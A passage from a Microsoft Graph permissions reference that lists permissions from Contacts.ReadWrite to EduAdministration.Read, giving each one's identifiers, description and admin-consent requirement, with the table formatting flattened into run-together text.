    CategoryApplicationDelegated
    Identifier6918b873-d17a-4dc1-b314-35f528134491d56682ec-c09e-4743-aaf4-1a3aac4caa21
    DisplayTextRead and write contacts in all mailboxesHave full access to user contacts
    DescriptionAllows the app to create, read, update, and delete all contacts in all mailboxes without a signed-in user.Allows the app to create, read, update, and delete user contacts.
    AdminConsentRequiredYesNo
    -

    personal Microsoft accounts The Contacts.ReadWrite delegated permission is available for consent in personal Microsoft accounts.

    - -

    Administrators can configure application access policy to limit app access to specific mailboxes and not to all the mailboxes in the organization, even if the app has been granted the Contacts.ReadWrite application permission.

    -
    -

    Contacts.ReadWrite.Shared

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-afb6c84b-06be-49af-80bb-8f3f77004eab
    DisplayText-Read and write user and shared contacts
    Description-Allows the app to create, read, update, and delete contacts a user has permissions to, including their own and shared contacts.
    AdminConsentRequired-No
    -
    -

    CrossTenantInformation.ReadBasic.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifiercac88765-0581-4025-9725-5ebc13f729ee81594d25-e88e-49cf-ac8c-fecbff49f994
    DisplayTextRead cross-tenant basic informationRead cross-tenant basic information
    DescriptionAllows the application to obtain basic tenant information about another target tenant within the Azure AD ecosystem without a signed-in user.Allows the application to obtain basic tenant information about another target tenant within the Azure AD ecosystem on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    CrossTenantUserProfileSharing.Read

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-cb1ba48f-d22b-4325-a07f-74135a62ee41
    DisplayText-Read shared cross-tenant user profile and export data
    Description-Allows the application to list and query user profile information associated with the current tenant on behalf of the signed-in user.  It also permits the application to export external user data (e.g. customer content or system-generated logs), associated with the current tenant on behalf of the signed-in user.
    AdminConsentRequired-Yes
    -

    personal Microsoft accounts The CrossTenantUserProfileSharing.Read delegated permission is available for consent in personal Microsoft accounts.

    -
    -

    CrossTenantUserProfileSharing.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier8b919d44-6192-4f3d-8a3b-f86f8069ae3c759dcd16-3c90-463c-937e-abf89f991c18
    DisplayTextRead all shared cross-tenant user profiles and export their dataRead all shared cross-tenant user profiles and export their data
    DescriptionAllows the application to list and query any shared user profile information associated with the current tenant without a signed-in user.  It also permits the application to export external user data (e.g. customer content or system-generated logs), for any user associated with the current tenant without a signed-in user.Allows the application to list and query any shared user profile information associated with the current tenant on behalf of the signed-in user.  It also permits the application to export external user data (e.g. customer content or system-generated logs), for any user associated with the current tenant on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -

    personal Microsoft accounts The CrossTenantUserProfileSharing.Read.All delegated permission is available for consent in personal Microsoft accounts.

    -
    -

    CrossTenantUserProfileSharing.ReadWrite

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-eed0129d-dc60-4f30-8641-daf337a39ffd
    DisplayText-Read shared cross-tenant user profile and export or delete data
    Description-Allows the application to list and query user profile information associated with the current tenant on behalf of the signed-in user.  It also permits the application to export and remove external user data (e.g. customer content or system-generated logs), associated with the current tenant on behalf of the signed-in user.
    AdminConsentRequired-Yes
    -
    -

    CrossTenantUserProfileSharing.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier306785c5-c09b-4ba0-a4ee-023f3da165cb64dfa325-cbf8-48e3-938d-51224a0cac01
    DisplayTextRead all shared cross-tenant user profiles and export or delete their dataRead all shared cross-tenant user profiles and export or delete their data
    DescriptionAllows the application to list and query any shared user profile information associated with the current tenant without a signed-in user.  It also permits the application to export and remove external user data (e.g. customer content or system-generated logs), for any user associated with the current tenant without a signed-in user.Allows the application to list and query any shared user profile information associated with the current tenant on behalf of the signed-in user.  It also permits the application to export and remove external user data (e.g. customer content or system-generated logs), for any user associated with the current tenant on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    CustomAuthenticationExtension.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier88bb2658-5d9e-454f-aacd-a3933e079526b2052569-c98c-4f36-a5fb-43e5c111e6d0
    DisplayTextRead all custom authentication extensionsRead your organization's custom authentication extensions
    DescriptionAllows the app to read your organization's custom authentication extensions without a signed-in user.Allows the app to read your organization's custom authentication extensions on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    CustomAuthenticationExtension.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierc2667967-7050-4e7e-b059-4cbbb3811d038dfcf82f-15d0-43b3-bc78-a958a13a5792
    DisplayTextRead and write all custom authentication extensionsRead and write your organization's custom authentication extensions
    DescriptionAllows the app to read or write your organization's custom authentication extensions without a signed-in user.Allows the app to read or write your organization's custom authentication extensions on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    CustomAuthenticationExtension.Receive.Payload

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier214e810f-fda8-4fd7-a475-29461495eb00-
    DisplayTextReceive custom authentication extension HTTP requests-
    DescriptionAllows custom authentication extensions associated with the app to receive HTTP requests triggered by an authentication event. The request can include information about a user, client and resource service principals, and other information about the authentication.-
    AdminConsentRequiredYes-
    -
    -

    CustomDetection.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier673a007a-9e0f-4c97-b066-3c0164486909b13ff42e-f321-4d7d-a462-141c46a1b832
    DisplayTextRead all custom detection rulesRead custom detection rules
    DescriptionAllows the app to read custom detection rules without a signed-in user.Allows the app to read custom detection rules on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    CustomDetection.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifiere0fd9c8d-a12e-4cc9-9827-20c8c3cd6fb8c34088fb-0649-4714-af0b-bcbfec155897
    DisplayTextRead and write all custom detection rulesRead and write custom detection rules
    DescriptionAllows the app to read and write custom detection rules without a signed-in user.Allows the app to read and write custom detection rules on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    CustomSecAttributeAssignment.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier3b37c5a4-1226-493d-bec3-5d6c6b866f3fb46ffa80-fe3d-4822-9a1a-c200932d54d0
    DisplayTextRead custom security attribute assignmentsRead custom security attribute assignments
    DescriptionAllows the app to read custom security attribute assignments for all principals in the tenant without a signed in user.Allows the app to read custom security attribute assignments for all principals in the tenant on behalf of a signed in user.
    AdminConsentRequiredYesYes
    -
    -

    CustomSecAttributeAssignment.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierde89b5e4-5b8f-48eb-8925-29c2b33bd8bdca46335e-8453-47cd-a001-8459884efeae
    DisplayTextRead and write custom security attribute assignmentsRead and write custom security attribute assignments
    DescriptionAllows the app to read and write custom security attribute assignments for all principals in the tenant without a signed in user.Allows the app to read and write custom security attribute assignments for all principals in the tenant on behalf of a signed in user.
    AdminConsentRequiredYesYes
    -
    -

    CustomSecAttributeAuditLogs.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier2a4f026d-e829-4e84-bdbf-d981a27030591fcdeaab-b519-44dd-bffc-ed1fd15a24e0
    DisplayTextRead all custom security attribute audit logsRead custom security attribute audit logs
    DescriptionAllows the app to read all audit logs for events that contain information about custom security attributes, without a signed-in user.Allows the app to read audit logs for events that contain information about custom security attributes, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    CustomSecAttributeDefinition.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierb185aa14-d8d2-42c1-a685-0f5596613624ce026878-a0ff-4745-a728-d4fedd086c07
    DisplayTextRead custom security attribute definitionsRead custom security attribute definitions
    DescriptionAllows the app to read custom security attribute definitions for the tenant without a signed in user.Allows the app to read custom security attribute definitions for the tenant on behalf of a signed in user.
    AdminConsentRequiredYesYes
    -
    -

    CustomSecAttributeDefinition.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier12338004-21f4-4896-bf5e-b75dfaf1016d8b0160d4-5743-482b-bb27-efc0a485ca4a
    DisplayTextRead and write custom security attribute definitionsRead and write custom security attribute definitions
    DescriptionAllows the app to read and write custom security attribute definitions for the tenant without a signed in user.Allows the app to read and write custom security attribute definitions for the tenant on behalf of a signed in user.
    AdminConsentRequiredYesYes
    -
    -

    CustomTags.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierab8a5872-7c88-47a6-8141-7becce939190de6ea87d-10bd-467c-8682-d525a0c61b89
    DisplayTextRead all custom tags dataRead all custom tags data
    DescriptionRead custom tags data, without a signed-in userRead custom tags data on behalf of the signed-in user
    AdminConsentRequiredYesYes
    -
    -

    CustomTags.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier2f503208-e509-4e39-974c-8cc16e5785c92f1bbe0a-f34b-4efb-9edb-8db8dcb50eca
    DisplayTextRead and write custom tags dataRead and write custom tags data
    DescriptionRead and write custom tags data, without a signed-in userRead and write custom tags data on behalf of the signed-in user
    AdminConsentRequiredYesYes
    -
    -

    DelegatedAdminRelationship.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierf6e9e124-4586-492f-adc0-c6f96e4823fd0c0064ea-477b-4130-82a5-4c2cc4ff68aa
    DisplayTextRead Delegated Admin relationships with customersRead Delegated Admin relationships with customers
    DescriptionAllows the app to read details of delegated admin relationships with customers like access details (that includes roles) and the duration as well as specific role assignments to security groups without a signed-in user.Allows the app to read details of delegated admin relationships with customers like access details (that includes roles) and the duration as well as specific role assignments to security groups on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    DelegatedAdminRelationship.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifiercc13eba4-8cd8-44c6-b4d4-f93237adce58885f682f-a990-4bad-a642-36736a74b0c7
    DisplayTextManage Delegated Admin relationships with customersManage Delegated Admin relationships with customers
    DescriptionAllows the app to manage (create-update-terminate) Delegated Admin relationships with customers and role assignments to security groups for active Delegated Admin relationships without a signed-in user.Allows the app to manage (create-update-terminate) Delegated Admin relationships with customers as well as role assignments to security groups for active Delegated Admin relationships on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    DelegatedPermissionGrant.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier81b4724a-58aa-41c1-8a55-84ef97466587a197cdc4-a8e8-4d49-9d35-4ca7c83887b4
    DisplayTextRead all delegated permission grantsRead delegated permission grants
    DescriptionAllows the app to read all delegated permission grants, without a signed-in user.Allows the app to read delegated permission grants, on behalf of the signed in user.
    AdminConsentRequiredYesYes
    -
    -

    DelegatedPermissionGrant.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier8e8e4742-1d95-4f68-9d56-6ee75648c72a41ce6ca6-6826-4807-84f1-1c82854f7ee5
    DisplayTextManage all delegated permission grantsManage all delegated permission grants
    DescriptionAllows the app to manage permission grants for delegated permissions exposed by any API (including Microsoft Graph), without a signed-in user.Allows the app to manage permission grants for delegated permissions exposed by any API (including Microsoft Graph), on behalf of the signed in user.
    AdminConsentRequiredYesYes
    -
    -

    Device.Command

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-bac3b9c2-b516-4ef4-bd3b-c2ef73d8d804
    DisplayText-Communicate with user devices
    Description-Allows the app to launch another app or communicate with another app on a user's device on behalf of the signed-in user.
    AdminConsentRequired-No
    -

    personal Microsoft accounts The Device.Command delegated permission is available for consent in personal Microsoft accounts.

    -
    -

    Device.Read

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-11d4cd79-5ba5-460f-803f-e22c8ab85ccd
    DisplayText-Read user devices
    Description-Allows the app to read a user's list of devices on behalf of the signed-in user.
    AdminConsentRequired-No
    -

    personal Microsoft accounts The Device.Read delegated permission is available for consent in personal Microsoft accounts.

    -
    -

    Device.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier7438b122-aefc-4978-80ed-43db9fcc7715951183d1-1a61-466f-a6d1-1fde911bfd95
    DisplayTextRead all devicesRead all devices
    DescriptionAllows the app to read your organization's devices' configuration information without a signed-in user.Allows the app to read your organization's devices' configuration information on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -

    personal Microsoft accounts The Device.Read.All delegated permission is available for consent in personal Microsoft accounts.

    -
    -

    Device.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier1138cb37-bd11-4084-a2b7-9f71582aeddb-
    DisplayTextRead and write devices-
    DescriptionAllows the app to read and write all device properties without a signed in user. Does not allow device creation, device deletion or update of device alternative security identifiers.-
    AdminConsentRequiredYes-
    - -

    Before December 3rd, 2020, when the application permission Device.ReadWrite.All was granted, the Device Managers directory role was also assigned to the app's service principal. This directory role assignment is not removed automatically when the associated application permissions is revoked. To ensure that an application's access to read or write to devices is removed, customers must also remove any related directory roles that were granted to the application.

    -

    A service update disabling this behavior began rolling out on December 3rd, 2020. Deployment to all customers completed on January 11th, 2021. Directory roles are no longer automatically assigned when application permissions are granted.

    -
    -

    DeviceLocalCredential.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier884b599e-4d48-43a5-ba94-15c414d00588280b3b69-0437-44b1-bc20-3b2fca1ee3e9
    DisplayTextRead device local credential passwordsRead device local credential passwords
    DescriptionAllows the app to read device local credential properties including passwords, without a signed-in user.Allows the app to read device local credential properties including passwords, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    DeviceLocalCredential.ReadBasic.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierdb51be59-e728-414b-b800-e0f010df1a799917900e-410b-4d15-846e-42a357488545
    DisplayTextRead device local credential propertiesRead device local credential properties
    DescriptionAllows the app to read device local credential properties excluding passwords, without a signed-in user.Allows the app to read device local credential properties excluding passwords, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    DeviceManagementApps.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier7a6ee1e7-141e-4cec-ae74-d9db155731ff4edf5f54-4666-44af-9de9-0144fb4b6e8c
    DisplayTextRead Microsoft Intune appsRead Microsoft Intune apps
    DescriptionAllows the app to read the properties, group assignments and status of apps, app configurations and app protection policies managed by Microsoft Intune, without a signed-in user.Allows the app to read the properties, group assignments and status of apps, app configurations and app protection policies managed by Microsoft Intune.
    AdminConsentRequiredYesYes
    - -

    Using the Microsoft Graph APIs to configure Intune controls and policies still requires that the Intune service is correctly licensed by the customer.

    -

    These permissions aren't supported for personal Microsoft accounts.

    -
    -

    DeviceManagementApps.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier78145de6-330d-4800-a6ce-494ff2d33d077b3f05d5-f68c-4b8d-8c59-a2ecd12f24af
    DisplayTextRead and write Microsoft Intune appsRead and write Microsoft Intune apps
    DescriptionAllows the app to read and write the properties, group assignments and status of apps, app configurations and app protection policies managed by Microsoft Intune, without a signed-in user.Allows the app to read and write the properties, group assignments and status of apps, app configurations and app protection policies managed by Microsoft Intune.
    AdminConsentRequiredYesYes
    - -

    Using the Microsoft Graph APIs to configure Intune controls and policies still requires that the Intune service is correctly licensed by the customer.

    -

    These permissions aren't supported for personal Microsoft accounts.

    -
    -

    DeviceManagementConfiguration.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierdc377aa6-52d8-4e23-b271-2a7ae04cedf3f1493658-876a-4c87-8fa7-edb559b3476a
    DisplayTextRead Microsoft Intune device configuration and policiesRead Microsoft Intune Device Configuration and Policies
    DescriptionAllows the app to read properties of Microsoft Intune-managed device configuration and device compliance policies and their assignment to groups, without a signed-in user.Allows the app to read properties of Microsoft Intune-managed device configuration and device compliance policies and their assignment to groups.
    AdminConsentRequiredYesYes
    - -

    Using the Microsoft Graph APIs to configure Intune controls and policies still requires that the Intune service is correctly licensed by the customer.

    -

    These permissions aren't supported for personal Microsoft accounts.

    -
    -

    DeviceManagementConfiguration.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier9241abd9-d0e6-425a-bd4f-47ba86e767a40883f392-0a7a-443d-8c76-16a6d39c7b63
    DisplayTextRead and write Microsoft Intune device configuration and policiesRead and write Microsoft Intune Device Configuration and Policies
    DescriptionAllows the app to read and write properties of Microsoft Intune-managed device configuration and device compliance policies and their assignment to groups, without a signed-in user.Allows the app to read and write properties of Microsoft Intune-managed device configuration and device compliance policies and their assignment to groups.
    AdminConsentRequiredYesYes
    - -

    Using the Microsoft Graph APIs to configure Intune controls and policies still requires that the Intune service is correctly licensed by the customer.

    -

    These permissions aren't supported for personal Microsoft accounts.

    -
    -

    DeviceManagementManagedDevices.PrivilegedOperations.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier5b07b0dd-2377-4e44-a38d-703f09a0dc3c3404d2bf-2b13-457e-a330-c24615765193
    DisplayTextPerform user-impacting remote actions on Microsoft Intune devicesPerform user-impacting remote actions on Microsoft Intune devices
    DescriptionAllows the app to perform remote high impact actions such as wiping the device or resetting the passcode on devices managed by Microsoft Intune, without a signed-in user.Allows the app to perform remote high impact actions such as wiping the device or resetting the passcode on devices managed by Microsoft Intune.
    AdminConsentRequiredYesYes
    - -

    Using the Microsoft Graph APIs to configure Intune controls and policies still requires that the Intune service is correctly licensed by the customer.

    -

    These permissions aren't supported for personal Microsoft accounts.

    -
    -

    DeviceManagementManagedDevices.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier2f51be20-0bb4-4fed-bf7b-db946066c75e314874da-47d6-4978-88dc-cf0d37f0bb82
    DisplayTextRead Microsoft Intune devicesRead Microsoft Intune devices
    DescriptionAllows the app to read the properties of devices managed by Microsoft Intune, without a signed-in user.Allows the app to read the properties of devices managed by Microsoft Intune.
    AdminConsentRequiredYesYes
    - -

    Using the Microsoft Graph APIs to configure Intune controls and policies still requires that the Intune service is correctly licensed by the customer.

    -

    These permissions aren't supported for personal Microsoft accounts.

    -
    -

    DeviceManagementManagedDevices.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier243333ab-4d21-40cb-a475-36241daa084244642bfe-8385-4adc-8fc6-fe3cb2c375c3
    DisplayTextRead and write Microsoft Intune devicesRead and write Microsoft Intune devices
    DescriptionAllows the app to read and write the properties of devices managed by Microsoft Intune, without a signed-in user. Does not allow high impact operations such as remote wipe and password reset on the device's ownerAllows the app to read and write the properties of devices managed by Microsoft Intune. Does not allow high impact operations such as remote wipe and password reset on the device's owner.
    AdminConsentRequiredYesYes
    - -

    Using the Microsoft Graph APIs to configure Intune controls and policies still requires that the Intune service is correctly licensed by the customer.

    -

    These permissions aren't supported for personal Microsoft accounts.

    -
    -

    DeviceManagementRBAC.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier58ca0d9a-1575-47e1-a3cb-007ef2e4583b49f0cc30-024c-4dfd-ab3e-82e137ee5431
    DisplayTextRead Microsoft Intune RBAC settingsRead Microsoft Intune RBAC settings
    DescriptionAllows the app to read the properties relating to the Microsoft Intune Role-Based Access Control (RBAC) settings, without a signed-in user.Allows the app to read the properties relating to the Microsoft Intune Role-Based Access Control (RBAC) settings.
    AdminConsentRequiredYesYes
    - -

    Using the Microsoft Graph APIs to configure Intune controls and policies still requires that the Intune service is correctly licensed by the customer.

    -

    These permissions aren't supported for personal Microsoft accounts.

    -
    -

    DeviceManagementRBAC.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifiere330c4f0-4170-414e-a55a-2f022ec2b57b0c5e8a55-87a6-4556-93ab-adc52c4d862d
    DisplayTextRead and write Microsoft Intune RBAC settingsRead and write Microsoft Intune RBAC settings
    DescriptionAllows the app to read and write the properties relating to the Microsoft Intune Role-Based Access Control (RBAC) settings, without a signed-in user.Allows the app to read and write the properties relating to the Microsoft Intune Role-Based Access Control (RBAC) settings.
    AdminConsentRequiredYesYes
    - -

    Using the Microsoft Graph APIs to configure Intune controls and policies still requires that the Intune service is correctly licensed by the customer.

    -

    These permissions aren't supported for personal Microsoft accounts.

    -
    -

    DeviceManagementServiceConfig.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier06a5fe6d-c49d-46a7-b082-56b1b14103c78696daa5-bce5-4b2e-83f9-51b6defc4e1e
    DisplayTextRead Microsoft Intune configurationRead Microsoft Intune configuration
    DescriptionAllows the app to read Microsoft Intune service properties including device enrollment and third party service connection configuration, without a signed-in user.Allows the app to read Microsoft Intune service properties including device enrollment and third party service connection configuration.
    AdminConsentRequiredYesYes
    - -

    Using the Microsoft Graph APIs to configure Intune controls and policies still requires that the Intune service is correctly licensed by the customer.

    -

    These permissions aren't supported for personal Microsoft accounts.

    -
    -

    DeviceManagementServiceConfig.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier5ac13192-7ace-4fcf-b828-1a26f28068ee662ed50a-ac44-4eef-ad86-62eed9be2a29
    DisplayTextRead and write Microsoft Intune configurationRead and write Microsoft Intune configuration
    DescriptionAllows the app to read and write Microsoft Intune service properties including device enrollment and third party service connection configuration, without a signed-in user.Allows the app to read and write Microsoft Intune service properties including device enrollment and third party service connection configuration.
    AdminConsentRequiredYesYes
    - -

    Using the Microsoft Graph APIs to configure Intune controls and policies still requires that the Intune service is correctly licensed by the customer.

    -

    These permissions aren't supported for personal Microsoft accounts.

    -
    -

    Directory.AccessAsUser.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-0e263e50-5827-48a4-b97c-d940288653c7
    DisplayText-Access directory as the signed in user
    Description-Allows the app to have the same access to information in the directory as the signed-in user.
    AdminConsentRequired-Yes
    - -

    Directory permissions provide the highest level of privilege for accessing directory resources such as user, group, and device in an organization.

    -

    They also exclusively control access to other directory resources like: organizational contacts and schema extensions, as well as many directory resources including administrative units, directory roles, directory settings, and policies.

    - -
    -

    Directory.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier7ab1d382-f21e-4acd-a863-ba3e13f7da6106da0dbc-49e2-44d2-8312-53f166ab848a
    DisplayTextRead directory dataRead directory data
    DescriptionAllows the app to read data in your organization's directory, such as users, groups and apps, without a signed-in user.Allows the app to read data in your organization's directory, such as users, groups and apps.
    AdminConsentRequiredYesYes
    - -

    Directory permissions provide the highest level of privilege for accessing directory resources such as user, group, and device in an organization.

    -

    They also exclusively control access to other directory resources like: organizational contacts and schema extensions, as well as many directory resources including administrative units, directory roles, directory settings, and policies.

    -
    -

    Note

    -

    Before December 3rd, 2020, when the application permission Directory.Read.All was granted, the Directory Readers directory role was also assigned to the app's service principal. This directory role isn't removed automatically when the associated application permissions are revoked. To remove an application's access to read or write to the directory, customers must also remove any directory roles that were granted to the application.

    -

    A service update disabling this behavior began rolling out on December 3rd, 2020. Deployment to all customers completed on January 11th, 2021. Directory roles are no longer automatically assigned when application permissions are granted.

    -
    -
    -

    Directory.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier19dbc75e-c2e2-444c-a770-ec69d8559fc7c5366453-9fb0-48a5-a156-24f0c49a4b84
    DisplayTextRead and write directory dataRead and write directory data
    DescriptionAllows the app to read and write data in your organization's directory, such as users, and groups, without a signed-in user. Does not allow user or group deletion.Allows the app to read and write data in your organization's directory, such as users, and groups. It does not allow the app to delete users or groups, or reset user passwords.
    AdminConsentRequiredYesYes
    - -

    Directory permissions are not recommended for use and might be deprecated in the future.

    -

    Directory.ReadWrite.All grants access that is broadly equivalent to a global tenant admin. Apps that are granted Directory.ReadWrite.All can manage the full range of directory resources, and they can manage authorization for other apps and users to access resources across the organization. This includes directory resources like users, groups, applications, and devices, and nondirectory resources in Exchange, SharePoint, Teams, and other services.

    -

    Before December 3rd, 2020, when the application permission Directory.ReadWrite.All was granted, the Directory Writers directory role was also assigned. This directory role isn't removed automatically when the associated application permissions are revoked. To remove an application's access to read or write to the directory, customers must also remove any directory roles that were granted to the application.

    -

    A service update disabling this behavior began rolling out on December 3rd, 2020. Deployment to all customers completed on January 11, 2021. Directory roles are no longer automatically assigned when application permissions are granted.

    -
    -

    Directory.Write.Restricted

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierf20584af-9290-4153-9280-ff8bb2c0ea7fcba5390f-ed6a-4b7f-b657-0efc2210ed20
    DisplayTextManage restricted resources in the directoryManage restricted resources in the directory
    DescriptionAllows the app to manage restricted resources based on the other permissions granted to the app, without a signed-in user.Allows the app to manage restricted resources based on the other permissions granted to the app, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    DirectoryRecommendations.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierae73097b-cb2a-4447-b064-5d80f609392134d3bd24-f6a6-468c-b67c-0c365c1d6410
    DisplayTextRead all Azure AD recommendationsRead Azure AD recommendations
    DescriptionAllows the app to read all Azure AD recommendations, without a signed-in user.Allows the app to read Azure AD recommendations, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    DirectoryRecommendations.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier0e9eea12-4f01-45f6-9b8d-3ea4c8144158f37235e8-90a0-4189-93e2-e55b53867ccd
    DisplayTextRead and update all Azure AD recommendationsRead and update Azure AD recommendations
    DescriptionAllows the app to read and update all Azure AD recommendations, without a signed-in user.Allows the app to read and update Azure AD recommendations, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    Domain.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierdbb9058a-0e50-45d7-ae91-66909b5d46642f9ee017-59c1-4f1d-9472-bd5529a7b311
    DisplayTextRead domainsRead domains.
    DescriptionAllows the app to read all domain properties without a signed-in user.Allows the app to read all domain properties on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    Domain.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier7e05723c-0bb0-42da-be95-ae9f08a6e53c0b5d694c-a244-4bde-86e6-eb5cd07730fe
    DisplayTextRead and write domainsRead and write domains
    DescriptionAllows the app to read and write all domain properties without a signed in user.  Also allows the app to add,  verify and remove domains.Allows the app to read and write all domain properties on behalf of the signed-in user. Also allows the app to add, verify and remove domains.
    AdminConsentRequiredYesYes
    -
    -

    EAS.AccessAsUser.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-ff91d191-45a0-43fd-b837-bd682c4a0b0f
    DisplayText-Access mailboxes via Exchange ActiveSync
    Description-Allows the app to have the same access to mailboxes as the signed-in user via Exchange ActiveSync.
    AdminConsentRequired-No
    -
    -

    eDiscovery.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier50180013-6191-4d1e-a373-e590ff4e66af99201db3-7652-4d5a-809a-bdb94f85fe3c
    DisplayTextRead all eDiscovery objectsRead all eDiscovery objects
    DescriptionAllows the app to read eDiscovery objects such as cases, custodians, review sets and other related objects without a signed-in user.Allows the app to read eDiscovery objects such as cases, custodians, review sets and other related objects on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    eDiscovery.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierb2620db1-3bf7-4c5b-9cb9-576d29eac736acb8f680-0834-4146-b69e-4ab1b39745ad
    DisplayTextRead and write all eDiscovery objectsRead and write all eDiscovery objects
    DescriptionAllows the app to read and write eDiscovery objects such as cases, custodians, review sets and other related objects without a signed-in user.Allows the app to read and write eDiscovery objects such as cases, custodians, review sets and other related objects on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    EduAdministration.Read

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
